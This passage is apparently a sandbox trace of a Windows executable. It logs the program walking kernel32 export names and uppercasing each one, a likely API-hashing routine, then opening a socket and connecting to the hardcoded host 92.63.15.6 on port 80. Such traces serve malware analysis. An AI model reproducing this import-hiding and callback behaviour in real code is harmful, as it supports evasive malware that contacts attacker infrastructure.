returned="ConvertCalDateTimeToSystemTime" [0118.297] lstrlenA (lpString="CONVERTCALDATETIMETOSYSTEMTIME") returned 30 [0118.297] lstrcpyA (in: lpString1=0x2e7eb60, lpString2="ConvertDefaultLocale" | out: lpString1="ConvertDefaultLocale") returned="ConvertDefaultLocale" [0118.297] lstrlenA (lpString="CONVERTDEFAULTLOCALE") returned 20 [0118.297] lstrcpyA (in: lpString1=0x2e7eb60, lpString2="ConvertFiberToThread" | out: lpString1="ConvertFiberToThread") returned="ConvertFiberToThread" [0118.297] lstrlenA (lpString="CONVERTFIBERTOTHREAD") returned 20 [0118.297] lstrcpyA (in: lpString1=0x2e7eb60, lpString2="ConvertNLSDayOfWeekToWin32DayOfWeek" | out: lpString1="ConvertNLSDayOfWeekToWin32DayOfWeek") returned="ConvertNLSDayOfWeekToWin32DayOfWeek" [0118.297] lstrlenA (lpString="CONVERTNLSDAYOFWEEKTOWIN32DAYOFWEEK") returned 35 [0118.297] lstrcpyA (in: lpString1=0x2e7eb60, lpString2="ConvertSystemTimeToCalDateTime" | out: lpString1="ConvertSystemTimeToCalDateTime") returned="ConvertSystemTimeToCalDateTime" [0118.297] lstrlenA (lpString="CONVERTSYSTEMTIMETOCALDATETIME") returned 30 [0118.297] lstrcpyA (in: lpString1=0x2e7eb60, lpString2="ConvertThreadToFiber" | out: lpString1="ConvertThreadToFiber") returned="ConvertThreadToFiber" [0118.297] lstrlenA (lpString="CONVERTTHREADTOFIBER") returned 20 [0118.297] lstrcpyA (in: lpString1=0x2e7eb60, lpString2="ConvertThreadToFiberEx" | out: lpString1="ConvertThreadToFiberEx") returned="ConvertThreadToFiberEx" [0118.297] lstrlenA (lpString="CONVERTTHREADTOFIBEREX") returned 22 [0118.297] lstrcpyA (in: lpString1=0x2e7eb60, lpString2="CopyContext" | out: lpString1="CopyContext") returned="CopyContext" [0118.297] lstrlenA (lpString="COPYCONTEXT") returned 11 [0118.297] lstrcpyA (in: lpString1=0x2e7eb60, lpString2="CopyFile2" | out: lpString1="CopyFile2") returned="CopyFile2" [0118.297] lstrlenA (lpString="COPYFILE2") returned 9 [0118.297] lstrcpyA (in: lpString1=0x2e7eb60, lpString2="CopyFileA" | out: lpString1="CopyFileA") returned="CopyFileA" [0118.297] lstrlenA (lpString="COPYFILEA") returned 9 [0118.297] lstrcpyA (in: lpString1=0x2e7eb60, lpString2="CopyFileExA" | out: lpString1="CopyFileExA") returned="CopyFileExA" [0118.297] lstrlenA (lpString="COPYFILEEXA") returned 11 [0118.297] lstrcpyA (in: lpString1=0x2e7eb60, lpString2="CopyFileExW" | out: lpString1="CopyFileExW") returned="CopyFileExW" [0118.297] lstrlenA (lpString="COPYFILEEXW") returned 11 [0118.298] lstrcpyA (in: lpString1=0x2e7eb60, lpString2="CopyFileTransactedA" | out: lpString1="CopyFileTransactedA") returned="CopyFileTransactedA" [0118.298] lstrlenA (lpString="COPYFILETRANSACTEDA") returned 19 [0118.298] lstrcpyA (in: lpString1=0x2e7eb60, lpString2="CopyFileTransactedW" | out: lpString1="CopyFileTransactedW") returned="CopyFileTransactedW" [0118.298] lstrlenA (lpString="COPYFILETRANSACTEDW") returned 19 [0118.298] lstrcpyA (in: lpString1=0x2e7eb60, lpString2="CopyFileW" | out: lpString1="CopyFileW") returned="CopyFileW" [0118.298] lstrlenA (lpString="COPYFILEW") returned 9 [0118.298] lstrcpyA (in: lpString1=0x2e7eb60, lpString2="CopyLZFile" | out: lpString1="CopyLZFile") returned="CopyLZFile" [0118.298] lstrlenA (lpString="COPYLZFILE") returned 10 [0118.298] lstrcpyA (in: lpString1=0x2e7eb60, lpString2="CreateActCtxA" | out: lpString1="CreateActCtxA") returned="CreateActCtxA" [0118.298] lstrlenA (lpString="CREATEACTCTXA") returned 13 [0118.298] lstrcpyA (in: lpString1=0x2e7eb60, lpString2="CreateActCtxW" | out: lpString1="CreateActCtxW") returned="CreateActCtxW" [0118.298] lstrlenA (lpString="CREATEACTCTXW") returned 13 [0118.298] lstrcpyA (in: lpString1=0x2e7eb60, lpString2="CreateActCtxWWorker" | out: lpString1="CreateActCtxWWorker") returned="CreateActCtxWWorker" [0118.298] lstrlenA (lpString="CREATEACTCTXWWORKER") returned 19 [0118.298] lstrcpyA (in: lpString1=0x2e7eb60, lpString2="CreateBoundaryDescriptorA" | out: lpString1="CreateBoundaryDescriptorA") returned="CreateBoundaryDescriptorA" [0118.298] lstrlenA (lpString="CREATEBOUNDARYDESCRIPTORA") returned 25 [0118.298] lstrcpyA (in: lpString1=0x2e7eb60, lpString2="CreateBoundaryDescriptorW" | out: lpString1="CreateBoundaryDescriptorW") returned="CreateBoundaryDescriptorW" [0118.298] lstrlenA (lpString="CREATEBOUNDARYDESCRIPTORW") returned 25 [0118.298] lstrcpyA (in: lpString1=0x2e7eb60, lpString2="CreateConsoleScreenBuffer" | out: lpString1="CreateConsoleScreenBuffer") returned="CreateConsoleScreenBuffer" [0118.298] lstrlenA (lpString="CREATECONSOLESCREENBUFFER") returned 25 [0118.298] lstrcpyA (in: lpString1=0x2e7eb60, lpString2="CreateDirectoryA" | out: lpString1="CreateDirectoryA") returned="CreateDirectoryA" [0118.298] lstrlenA (lpString="CREATEDIRECTORYA") returned 16 [0118.298] lstrcpyA (in: lpString1=0x2e7eb60, lpString2="CreateDirectoryExA" | out: lpString1="CreateDirectoryExA") returned="CreateDirectoryExA" [0118.298] lstrlenA (lpString="CREATEDIRECTORYEXA") returned 18 [0118.298] lstrcpyA (in: lpString1=0x2e7eb60, lpString2="CreateDirectoryExW" | out: lpString1="CreateDirectoryExW") returned="CreateDirectoryExW" [0118.298] lstrlenA (lpString="CREATEDIRECTORYEXW") returned 18 [0118.298] lstrcpyA (in: lpString1=0x2e7eb60, lpString2="CreateDirectoryTransactedA" | out: lpString1="CreateDirectoryTransactedA") returned="CreateDirectoryTransactedA" [0118.298] lstrlenA (lpString="CREATEDIRECTORYTRANSACTEDA") returned 26 [0118.298] lstrcpyA (in: lpString1=0x2e7eb60, lpString2="CreateDirectoryTransactedW" | out: lpString1="CreateDirectoryTransactedW") returned="CreateDirectoryTransactedW" [0118.298] lstrlenA (lpString="CREATEDIRECTORYTRANSACTEDW") returned 26 [0118.298] lstrcpyA (in: lpString1=0x2e7eb60, lpString2="CreateDirectoryW" | out: lpString1="CreateDirectoryW") returned="CreateDirectoryW" [0118.298] lstrlenA (lpString="CREATEDIRECTORYW") returned 16 [0118.298] lstrcpyA (in: lpString1=0x2e7eb60, lpString2="CreateEnclave" | out: lpString1="CreateEnclave") returned="CreateEnclave" [0118.298] lstrlenA (lpString="CREATEENCLAVE") returned 13 [0118.298] lstrcpyA (in: lpString1=0x2e7eb60, lpString2="CreateEventA" | out: lpString1="CreateEventA") returned="CreateEventA" [0118.298] lstrlenA (lpString="CREATEEVENTA") returned 12 [0118.298] lstrcpyA (in: lpString1=0x2e7eb60, lpString2="CreateEventExA" | out: lpString1="CreateEventExA") returned="CreateEventExA" [0118.299] lstrlenA (lpString="CREATEEVENTEXA") returned 14 [0118.299] lstrcpyA (in: lpString1=0x2e7eb60, lpString2="CreateEventExW" | out: lpString1="CreateEventExW") returned="CreateEventExW" [0118.299] lstrlenA (lpString="CREATEEVENTEXW") returned 14 [0118.299] lstrcpyA (in: lpString1=0x2e7eb60, lpString2="CreateEventW" | out: lpString1="CreateEventW") returned="CreateEventW" [0118.299] lstrlenA (lpString="CREATEEVENTW") returned 12 [0118.299] lstrcpyA (in: lpString1=0x2e7eb60, lpString2="CreateFiber" | out: lpString1="CreateFiber") returned="CreateFiber" [0118.299] lstrlenA (lpString="CREATEFIBER") returned 11 [0118.299] lstrcpyA (in: lpString1=0x2e7eb60, lpString2="CreateFiberEx" | out: lpString1="CreateFiberEx") returned="CreateFiberEx" [0118.299] lstrlenA (lpString="CREATEFIBEREX") returned 13 [0118.299] lstrcpyA (in: lpString1=0x2e7eb60, lpString2="CreateFile2" | out: lpString1="CreateFile2") returned="CreateFile2" [0118.299] lstrlenA (lpString="CREATEFILE2") returned 11 [0118.299] lstrcpyA (in: lpString1=0x2e7eb60, lpString2="CreateFileA" | out: lpString1="CreateFileA") returned="CreateFileA" [0118.299] lstrlenA (lpString="CREATEFILEA") returned 11 [0118.299] lstrcpyA (in: lpString1=0x2e7eb60, lpString2="CreateFileMappingA" | out: lpString1="CreateFileMappingA") returned="CreateFileMappingA" [0118.299] lstrlenA (lpString="CREATEFILEMAPPINGA") returned 18 [0118.299] lstrcpyA (in: lpString1=0x2e7eb60, lpString2="CreateFileMappingFromApp" | out: lpString1="CreateFileMappingFromApp") returned="CreateFileMappingFromApp" [0118.299] lstrlenA (lpString="CREATEFILEMAPPINGFROMAPP") returned 24 [0118.299] lstrcpyA (in: lpString1=0x2e7eb60, lpString2="CreateFileMappingNumaA" | out: lpString1="CreateFileMappingNumaA") returned="CreateFileMappingNumaA" [0118.299] lstrlenA (lpString="CREATEFILEMAPPINGNUMAA") returned 22 [0118.299] lstrcpyA (in: lpString1=0x2e7eb60, lpString2="CreateFileMappingNumaW" | out: lpString1="CreateFileMappingNumaW") returned="CreateFileMappingNumaW" [0118.299] lstrlenA (lpString="CREATEFILEMAPPINGNUMAW") returned 22 [0118.299] lstrcpyA (in: lpString1=0x2e7eb60, lpString2="CreateFileMappingW" | out: lpString1="CreateFileMappingW") returned="CreateFileMappingW" [0118.299] lstrlenA (lpString="CREATEFILEMAPPINGW") returned 18 [0118.299] lstrcpyA (in: lpString1=0x2e7eb60, lpString2="CreateFileTransactedA" | out: lpString1="CreateFileTransactedA") returned="CreateFileTransactedA" [0118.299] lstrlenA (lpString="CREATEFILETRANSACTEDA") returned 21 [0118.299] lstrcpyA (in: lpString1=0x2e7eb60, lpString2="CreateFileTransactedW" | out: lpString1="CreateFileTransactedW") returned="CreateFileTransactedW" [0118.299] lstrlenA (lpString="CREATEFILETRANSACTEDW") returned 21 [0118.299] lstrcpyA (in: lpString1=0x2e7eb60, lpString2="CreateFileW" | out: lpString1="CreateFileW") returned="CreateFileW" [0118.299] lstrlenA (lpString="CREATEFILEW") returned 11 [0118.299] lstrcpyA (in: lpString1=0x2e7eb60, lpString2="CreateHardLinkA" | out: lpString1="CreateHardLinkA") returned="CreateHardLinkA" [0118.299] lstrlenA (lpString="CREATEHARDLINKA") returned 15 [0118.299] lstrcpyA (in: lpString1=0x2e7eb60, lpString2="CreateHardLinkTransactedA" | out: lpString1="CreateHardLinkTransactedA") returned="CreateHardLinkTransactedA" [0118.299] lstrlenA (lpString="CREATEHARDLINKTRANSACTEDA") returned 25 [0118.299] lstrcpyA (in: lpString1=0x2e7eb60, lpString2="CreateHardLinkTransactedW" | out: lpString1="CreateHardLinkTransactedW") returned="CreateHardLinkTransactedW" [0118.299] lstrlenA (lpString="CREATEHARDLINKTRANSACTEDW") returned 25 [0118.299] lstrcpyA (in: lpString1=0x2e7eb60, lpString2="CreateHardLinkW" | out: lpString1="CreateHardLinkW") returned="CreateHardLinkW" [0118.299] lstrlenA (lpString="CREATEHARDLINKW") returned 15 [0118.299] lstrcpyA (in: lpString1=0x2e7eb60, lpString2="CreateIoCompletionPort" | out: lpString1="CreateIoCompletionPort") returned="CreateIoCompletionPort" [0118.299] lstrlenA (lpString="CREATEIOCOMPLETIONPORT") returned 22 [0118.299] lstrcpyA (in: lpString1=0x2e7eb60, lpString2="CreateJobObjectA" | out: lpString1="CreateJobObjectA") returned="CreateJobObjectA" [0118.300] lstrlenA (lpString="CREATEJOBOBJECTA") returned 16 [0118.300] lstrcpyA (in: lpString1=0x2e7eb60, lpString2="CreateJobObjectW" | out: lpString1="CreateJobObjectW") returned="CreateJobObjectW" [0118.300] lstrlenA (lpString="CREATEJOBOBJECTW") returned 16 [0118.300] lstrcpyA (in: lpString1=0x2e7eb60, lpString2="CreateJobSet" | out: lpString1="CreateJobSet") returned="CreateJobSet" [0118.300] lstrlenA (lpString="CREATEJOBSET") returned 12 [0118.300] lstrcpyA (in: lpString1=0x2e7eb60, lpString2="CreateMailslotA" | out: lpString1="CreateMailslotA") returned="CreateMailslotA" [0118.300] lstrlenA (lpString="CREATEMAILSLOTA") returned 15 [0118.300] lstrcpyA (in: lpString1=0x2e7eb60, lpString2="CreateMailslotW" | out: lpString1="CreateMailslotW") returned="CreateMailslotW" [0118.300] lstrlenA (lpString="CREATEMAILSLOTW") returned 15 [0118.300] lstrcpyA (in: lpString1=0x2e7eb60, lpString2="CreateMemoryResourceNotification" | out: lpString1="CreateMemoryResourceNotification") returned="CreateMemoryResourceNotification" [0118.300] lstrlenA (lpString="CREATEMEMORYRESOURCENOTIFICATION") returned 32 [0118.300] lstrcpyA (in: lpString1=0x2e7eb60, lpString2="CreateMutexA" | out: lpString1="CreateMutexA") returned="CreateMutexA" [0118.300] lstrlenA (lpString="CREATEMUTEXA") returned 12 [0118.300] lstrcpyA (in: lpString1=0x2e7eb60, lpString2="CreateMutexExA" | out: lpString1="CreateMutexExA") returned="CreateMutexExA" [0118.300] lstrlenA (lpString="CREATEMUTEXEXA") returned 14 [0118.300] lstrcpyA (in: lpString1=0x2e7eb60, lpString2="CreateMutexExW" | out: lpString1="CreateMutexExW") returned="CreateMutexExW" [0118.300] lstrlenA (lpString="CREATEMUTEXEXW") returned 14 [0118.300] lstrcpyA (in: lpString1=0x2e7eb60, lpString2="CreateMutexW" | out: lpString1="CreateMutexW") returned="CreateMutexW" [0118.300] lstrlenA (lpString="CREATEMUTEXW") returned 12 [0118.300] lstrcpyA (in: lpString1=0x2e7eb60, lpString2="CreateNamedPipeA" | out: lpString1="CreateNamedPipeA") returned="CreateNamedPipeA" [0118.300] lstrlenA (lpString="CREATENAMEDPIPEA") returned 16 [0118.300] lstrcpyA (in: lpString1=0x2e7eb60, lpString2="CreateNamedPipeW" | out: lpString1="CreateNamedPipeW") returned="CreateNamedPipeW" [0118.300] lstrlenA (lpString="CREATENAMEDPIPEW") returned 16 [0118.301] lstrcpyA (in: lpString1=0x2e7eb60, lpString2="CreatePipe" | out: lpString1="CreatePipe") returned="CreatePipe" [0118.301] lstrlenA (lpString="CREATEPIPE") returned 10 [0118.301] lstrcpyA (in: lpString1=0x2e7eb60, lpString2="CreatePrivateNamespaceA" | out: lpString1="CreatePrivateNamespaceA") returned="CreatePrivateNamespaceA" [0118.301] lstrlenA (lpString="CREATEPRIVATENAMESPACEA") returned 23 [0118.301] lstrcpyA (in: lpString1=0x2e7eb60, lpString2="CreatePrivateNamespaceW" | out: lpString1="CreatePrivateNamespaceW") returned="CreatePrivateNamespaceW" [0118.301] lstrlenA (lpString="CREATEPRIVATENAMESPACEW") returned 23 [0118.301] lstrcpyA (in: lpString1=0x2e7eb60, lpString2="CreateProcessA" | out: lpString1="CreateProcessA") returned="CreateProcessA" [0118.301] lstrlenA (lpString="CREATEPROCESSA") returned 14 [0118.301] lstrcpyA (in: lpString1=0x2e7eb60, lpString2="CreateProcessAsUserA" | out: lpString1="CreateProcessAsUserA") returned="CreateProcessAsUserA" [0118.301] lstrlenA (lpString="CREATEPROCESSASUSERA") returned 20 [0118.301] lstrcpyA (in: lpString1=0x2e7eb60, lpString2="CreateProcessAsUserW" | out: lpString1="CreateProcessAsUserW") returned="CreateProcessAsUserW" [0118.301] lstrlenA (lpString="CREATEPROCESSASUSERW") returned 20 [0118.301] lstrcpyA (in: lpString1=0x2e7eb60, lpString2="CreateProcessInternalA" | out: lpString1="CreateProcessInternalA") returned="CreateProcessInternalA" [0118.301] lstrlenA (lpString="CREATEPROCESSINTERNALA") returned 22 [0118.301] lstrcpyA (in: lpString1=0x2e7eb60, lpString2="CreateProcessInternalW" | out: lpString1="CreateProcessInternalW") returned="CreateProcessInternalW" [0118.301] lstrlenA (lpString="CREATEPROCESSINTERNALW") returned 22 [0118.301] lstrcpyA (in: lpString1=0x2e7eb60, lpString2="CreateProcessW" | out: lpString1="CreateProcessW") returned="CreateProcessW" [0118.301] lstrlenA (lpString="CREATEPROCESSW") returned 14 [0118.301] lstrcpyA (in: lpString1=0x2e7eb60, lpString2="CreateRemoteThread" | out: lpString1="CreateRemoteThread") returned="CreateRemoteThread" [0118.301] lstrlenA (lpString="CREATEREMOTETHREAD") returned 18 [0118.301] lstrcpyA (in: lpString1=0x2e7eb60, lpString2="CreateRemoteThreadEx" | out: lpString1="CreateRemoteThreadEx") returned="CreateRemoteThreadEx" [0118.301] lstrlenA (lpString="CREATEREMOTETHREADEX") returned 20 [0118.301] lstrcpyA (in: lpString1=0x2e7eb60, lpString2="CreateSemaphoreA" | out: lpString1="CreateSemaphoreA") returned="CreateSemaphoreA" [0118.301] lstrlenA (lpString="CREATESEMAPHOREA") returned 16 [0118.301] lstrcpyA (in: lpString1=0x2e7eb60, lpString2="CreateSemaphoreExA" | out: lpString1="CreateSemaphoreExA") returned="CreateSemaphoreExA" [0118.301] lstrlenA (lpString="CREATESEMAPHOREEXA") returned 18 [0118.301] lstrcpyA (in: lpString1=0x2e7eb60, lpString2="CreateSemaphoreExW" | out: lpString1="CreateSemaphoreExW") returned="CreateSemaphoreExW" [0118.301] lstrlenA (lpString="CREATESEMAPHOREEXW") returned 18 [0118.301] lstrcpyA (in: lpString1=0x2e7eb60, lpString2="CreateSemaphoreW" | out: lpString1="CreateSemaphoreW") returned="CreateSemaphoreW" [0118.301] lstrlenA (lpString="CREATESEMAPHOREW") returned 16 [0118.301] lstrcpyA (in: lpString1=0x2e7eb60, lpString2="CreateSocketHandle" | out: lpString1="CreateSocketHandle") returned="CreateSocketHandle" [0118.301] lstrlenA (lpString="CREATESOCKETHANDLE") returned 18 [0118.301] lstrcpyA (in: lpString1=0x2e7eb60, lpString2="CreateSymbolicLinkA" | out: lpString1="CreateSymbolicLinkA") returned="CreateSymbolicLinkA" [0118.301] lstrlenA (lpString="CREATESYMBOLICLINKA") returned 19 [0118.301] lstrcpyA (in: lpString1=0x2e7eb60, lpString2="CreateSymbolicLinkTransactedA" | out: lpString1="CreateSymbolicLinkTransactedA") returned="CreateSymbolicLinkTransactedA" [0118.301] lstrlenA (lpString="CREATESYMBOLICLINKTRANSACTEDA") returned 29 [0118.301] lstrcpyA (in: lpString1=0x2e7eb60, lpString2="CreateSymbolicLinkTransactedW" | out: lpString1="CreateSymbolicLinkTransactedW") returned="CreateSymbolicLinkTransactedW" [0118.301] lstrlenA (lpString="CREATESYMBOLICLINKTRANSACTEDW") returned 29 [0118.301] lstrcpyA (in: lpString1=0x2e7eb60, lpString2="CreateSymbolicLinkW" | out: lpString1="CreateSymbolicLinkW") returned="CreateSymbolicLinkW" [0118.301] lstrlenA (lpString="CREATESYMBOLICLINKW") returned 19 [0118.301] lstrcpyA (in: lpString1=0x2e7eb60, lpString2="CreateTapePartition" | out: lpString1="CreateTapePartition") returned="CreateTapePartition" [0118.302] lstrlenA (lpString="CREATETAPEPARTITION") returned 19 [0118.302] lstrcpyA (in: lpString1=0x2e7eb60, lpString2="CreateThread" | out: lpString1="CreateThread") returned="CreateThread" [0118.302] lstrlenA (lpString="CREATETHREAD") returned 12 [0118.302] lstrcpyA (in: lpString1=0x2e7eb60, lpString2="CreateThreadpool" | out: lpString1="CreateThreadpool") returned="CreateThreadpool" [0118.302] lstrlenA (lpString="CREATETHREADPOOL") returned 16 [0118.302] lstrcpyA (in: lpString1=0x2e7eb60, lpString2="CreateThreadpoolCleanupGroup" | out: lpString1="CreateThreadpoolCleanupGroup") returned="CreateThreadpoolCleanupGroup" [0118.302] lstrlenA (lpString="CREATETHREADPOOLCLEANUPGROUP") returned 28 [0118.302] lstrcpyA (in: lpString1=0x2e7eb60, lpString2="CreateThreadpoolIo" | out: lpString1="CreateThreadpoolIo") returned="CreateThreadpoolIo" [0118.302] lstrlenA (lpString="CREATETHREADPOOLIO") returned 18 [0118.302] lstrcpyA (in: lpString1=0x2e7eb60, lpString2="CreateThreadpoolTimer" | out: lpString1="CreateThreadpoolTimer") returned="CreateThreadpoolTimer" [0118.302] lstrlenA (lpString="CREATETHREADPOOLTIMER") returned 21 [0118.302] lstrcpyA (in: lpString1=0x2e7eb60, lpString2="CreateThreadpoolWait" | out: lpString1="CreateThreadpoolWait") returned="CreateThreadpoolWait" [0118.302] lstrlenA (lpString="CREATETHREADPOOLWAIT") returned 20 [0118.302] lstrcpyA (in: lpString1=0x2e7eb60, lpString2="CreateThreadpoolWork" | out: lpString1="CreateThreadpoolWork") returned="CreateThreadpoolWork" [0118.302] lstrlenA (lpString="CREATETHREADPOOLWORK") returned 20 [0118.302] lstrcpyA (in: lpString1=0x2e7eb60, lpString2="CreateTimerQueue" | out: lpString1="CreateTimerQueue") returned="CreateTimerQueue" [0118.302] lstrlenA (lpString="CREATETIMERQUEUE") returned 16 [0118.302] lstrcpyA (in: lpString1=0x2e7eb60, lpString2="CreateTimerQueueTimer" | out: lpString1="CreateTimerQueueTimer") returned="CreateTimerQueueTimer" [0118.302] inet_pton (in: Family=2, pszAddrString="92.63.15.6", pAddrBuf=0x2e7f828 | out: pAddrBuf=0x2e7f828) returned 1 [0118.302] WSAStartup (in: wVersionRequired=0x202, lpWSAData=0x2e7fc74 | out: lpWSAData=0x2e7fc74) returned 0 [0118.302] socket (af=2, type=1, protocol=6) returned 0x544 [0118.303] inet_addr (cp="92.63.15.6") returned 0x60f3f5c [0118.303] htons (hostshort=0x50) returned 0x5000 [0118.303] connect (s=0x544, name=0x2e7f804*(sa_family=2, sin_port=0x50, sin_addr="92.63.15.6"), namelen=16) returned 0 [0118.378] GetModuleHandleA (lpModuleName="kernel32.dll") returned 0x75e90000 [0118.378] lstrlenA (lpString="ACQUIRESRWLOCKEXCLUSIVE") returned 23 [0118.378] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="AcquireSRWLockShared" | out: lpString1="AcquireSRWLockShared") returned="AcquireSRWLockShared" [0118.378] lstrlenA (lpString="ACQUIRESRWLOCKSHARED") returned 20 [0118.378] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="ActivateActCtx" | out: lpString1="ActivateActCtx") returned="ActivateActCtx" [0118.378] lstrlenA (lpString="ACTIVATEACTCTX") returned 14 [0118.378] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="ActivateActCtxWorker" | out: lpString1="ActivateActCtxWorker") returned="ActivateActCtxWorker" [0118.378] lstrlenA (lpString="ACTIVATEACTCTXWORKER") returned 20 [0118.378] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="AddAtomA" | out: lpString1="AddAtomA") returned="AddAtomA" [0118.379] lstrlenA (lpString="ADDATOMA") returned 8 [0118.379] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="AddAtomW" | out: lpString1="AddAtomW") returned="AddAtomW" [0118.379] lstrlenA (lpString="ADDATOMW") returned 8 [0118.379] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="AddConsoleAliasA" | out: lpString1="AddConsoleAliasA") returned="AddConsoleAliasA" [0118.379] lstrlenA (lpString="ADDCONSOLEALIASA") returned 16 [0118.379] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="AddConsoleAliasW" | out: lpString1="AddConsoleAliasW") returned="AddConsoleAliasW" [0118.379] lstrlenA (lpString="ADDCONSOLEALIASW") returned 16 [0118.379] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="AddDllDirectory" | out: lpString1="AddDllDirectory") returned="AddDllDirectory" [0118.379] lstrlenA (lpString="ADDDLLDIRECTORY") returned 15 [0118.379] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="AddIntegrityLabelToBoundaryDescriptor" | out: lpString1="AddIntegrityLabelToBoundaryDescriptor") returned="AddIntegrityLabelToBoundaryDescriptor" [0118.379] lstrlenA (lpString="ADDINTEGRITYLABELTOBOUNDARYDESCRIPTOR") returned 37 [0118.379] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="AddLocalAlternateComputerNameA" | out: lpString1="AddLocalAlternateComputerNameA") returned="AddLocalAlternateComputerNameA" [0118.379] lstrlenA (lpString="ADDLOCALALTERNATECOMPUTERNAMEA") returned 30 [0118.379] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="AddLocalAlternateComputerNameW" | out: lpString1="AddLocalAlternateComputerNameW") returned="AddLocalAlternateComputerNameW" [0118.379] lstrlenA (lpString="ADDLOCALALTERNATECOMPUTERNAMEW") returned 30 [0118.379] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="AddRefActCtx" | out: lpString1="AddRefActCtx") returned="AddRefActCtx" [0118.379] lstrlenA (lpString="ADDREFACTCTX") returned 12 [0118.379] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="AddRefActCtxWorker" | out: lpString1="AddRefActCtxWorker") returned="AddRefActCtxWorker" [0118.379] lstrlenA (lpString="ADDREFACTCTXWORKER") returned 18 [0118.379] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="AddResourceAttributeAce" | out: lpString1="AddResourceAttributeAce") returned="AddResourceAttributeAce" [0118.379] lstrlenA (lpString="ADDRESOURCEATTRIBUTEACE") returned 23 [0118.379] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="AddSIDToBoundaryDescriptor" | out: lpString1="AddSIDToBoundaryDescriptor") returned="AddSIDToBoundaryDescriptor" [0118.379] lstrlenA (lpString="ADDSIDTOBOUNDARYDESCRIPTOR") returned 26 [0118.379] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="AddScopedPolicyIDAce" | out: lpString1="AddScopedPolicyIDAce") returned="AddScopedPolicyIDAce" [0118.379] lstrlenA (lpString="ADDSCOPEDPOLICYIDACE") returned 20 [0118.379] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="AddSecureMemoryCacheCallback" | out: lpString1="AddSecureMemoryCacheCallback") returned="AddSecureMemoryCacheCallback" [0118.379] lstrlenA (lpString="ADDSECUREMEMORYCACHECALLBACK") returned 28 [0118.379] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="AddVectoredContinueHandler" | out: lpString1="AddVectoredContinueHandler") returned="AddVectoredContinueHandler" [0118.379] lstrlenA (lpString="ADDVECTOREDCONTINUEHANDLER") returned 26 [0118.379] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="AddVectoredExceptionHandler" | out: lpString1="AddVectoredExceptionHandler") returned="AddVectoredExceptionHandler" [0118.379] lstrlenA (lpString="ADDVECTOREDEXCEPTIONHANDLER") returned 27 [0118.380] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="AdjustCalendarDate" | out: lpString1="AdjustCalendarDate") returned="AdjustCalendarDate" [0118.380] lstrlenA (lpString="ADJUSTCALENDARDATE") returned 18 [0118.380] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="AllocConsole" | out: lpString1="AllocConsole") returned="AllocConsole" [0118.380] lstrlenA (lpString="ALLOCCONSOLE") returned 12 [0118.380] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="AllocateUserPhysicalPages" | out: lpString1="AllocateUserPhysicalPages") returned="AllocateUserPhysicalPages" [0118.380] lstrlenA (lpString="ALLOCATEUSERPHYSICALPAGES") returned 25 [0118.380] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="AllocateUserPhysicalPagesNuma" | out: lpString1="AllocateUserPhysicalPagesNuma") returned="AllocateUserPhysicalPagesNuma" [0118.380] lstrlenA (lpString="ALLOCATEUSERPHYSICALPAGESNUMA") returned 29 [0118.380] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="AppPolicyGetClrCompat" | out: lpString1="AppPolicyGetClrCompat") returned="AppPolicyGetClrCompat" [0118.380] lstrlenA (lpString="APPPOLICYGETCLRCOMPAT") returned 21 [0118.380] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="AppPolicyGetCreateFileAccess" | out: lpString1="AppPolicyGetCreateFileAccess") returned="AppPolicyGetCreateFileAccess" [0118.380] lstrlenA (lpString="APPPOLICYGETCREATEFILEACCESS") returned 28 [0118.380] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="AppPolicyGetLifecycleManagement" | out: lpString1="AppPolicyGetLifecycleManagement") returned="AppPolicyGetLifecycleManagement" [0118.380] lstrlenA (lpString="APPPOLICYGETLIFECYCLEMANAGEMENT") returned 31 [0118.380] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="AppPolicyGetMediaFoundationCodecLoading" | out: lpString1="AppPolicyGetMediaFoundationCodecLoading") returned="AppPolicyGetMediaFoundationCodecLoading" [0118.380] lstrlenA (lpString="APPPOLICYGETMEDIAFOUNDATIONCODECLOADING") returned 39 [0118.380] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="AppPolicyGetProcessTerminationMethod" | out: lpString1="AppPolicyGetProcessTerminationMethod") returned="AppPolicyGetProcessTerminationMethod" [0118.380] lstrlenA (lpString="APPPOLICYGETPROCESSTERMINATIONMETHOD") returned 36 [0118.380] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="AppPolicyGetShowDeveloperDiagnostic" | out: lpString1="AppPolicyGetShowDeveloperDiagnostic") returned="AppPolicyGetShowDeveloperDiagnostic" [0118.380] lstrlenA (lpString="APPPOLICYGETSHOWDEVELOPERDIAGNOSTIC") returned 35 [0118.380] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="AppPolicyGetThreadInitializationType" | out: lpString1="AppPolicyGetThreadInitializationType") returned="AppPolicyGetThreadInitializationType" [0118.380] lstrlenA (lpString="APPPOLICYGETTHREADINITIALIZATIONTYPE") returned 36 [0118.380] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="AppPolicyGetWindowingModel" | out: lpString1="AppPolicyGetWindowingModel") returned="AppPolicyGetWindowingModel" [0118.380] lstrlenA (lpString="APPPOLICYGETWINDOWINGMODEL") returned 26 [0118.380] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="AppXGetOSMaxVersionTested" | out: 